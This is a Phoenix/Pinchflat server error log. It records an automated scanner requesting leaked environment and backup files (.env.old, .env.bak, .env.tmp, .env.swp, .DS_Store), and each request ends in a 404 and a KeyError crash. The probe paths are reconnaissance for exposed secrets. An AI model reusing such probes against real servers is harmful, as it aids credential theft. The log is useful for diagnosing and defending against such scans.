"x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9512.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDANHP7SStNXgAAbZC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9511.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49982}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9511.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49982}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9512.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDANHP7SStNXgAAbZC"} ], scheme: :http, script_n (truncated) 15:21:38.360 [info] GET /.env.bak 15:21:38.361 [debug] QUERY OK source="settings" db=0.1ms idle=716.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.361 [debug] QUERY OK source="settings" db=0.0ms idle=476.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.361 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:38.361 [error] #PID<0.9514.0> running PinchflatWeb.Endpoint (connection #PID<0.9513.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49996}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9514.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAOAXhZAl2D4AAbaC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49996}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49996}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9514.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAOAXhZAl2D4AAbaC"} ], scheme: :http, script_n (truncated) 15:21:38.594 [info] GET /.env.tmp 15:21:38.595 [debug] QUERY OK source="settings" db=0.1ms idle=473.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.595 [debug] QUERY OK source="settings" db=0.0ms idle=473.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.595 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:38.595 [error] #PID<0.9516.0> running PinchflatWeb.Endpoint (connection #PID<0.9515.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.tmp ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.tmp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50008}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9516.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.tmp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAO4FHaPFcdsAAbbC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.tmp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50008}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9515.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.tmp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50008}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9516.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.tmp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAO4FHaPFcdsAAbbC"} ], scheme: :http, script_n (truncated) 15:21:38.830 [info] GET /.env.swp 15:21:38.831 [debug] QUERY OK source="settings" db=0.3ms idle=469.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.831 [debug] QUERY OK source="settings" db=0.0ms idle=470.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.831 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:38.831 [error] #PID<0.9518.0> running PinchflatWeb.Endpoint (connection #PID<0.9517.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.swp ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50012}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9518.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.swp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAPwbKIvKUT8AAbcC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50012}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9517.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.swp", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50012}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9518.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.swp", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAPwbKIvKUT8AAbcC"} ], scheme: :http, script_n (truncated) 15:21:38.955 [info] GET /.DS_Store 15:21:38.955 [debug] QUERY OK source="settings" db=0.1ms idle=466.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.955 [debug] QUERY OK source="settings" db=0.0ms idle=360.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.955 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:38.955 [error] #PID<0.9520.0> running PinchflatWeb.Endpoint (connection #PID<0.9519.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.DS_Store ** (exit) an exception was raised: ** (KeyError) key :flash 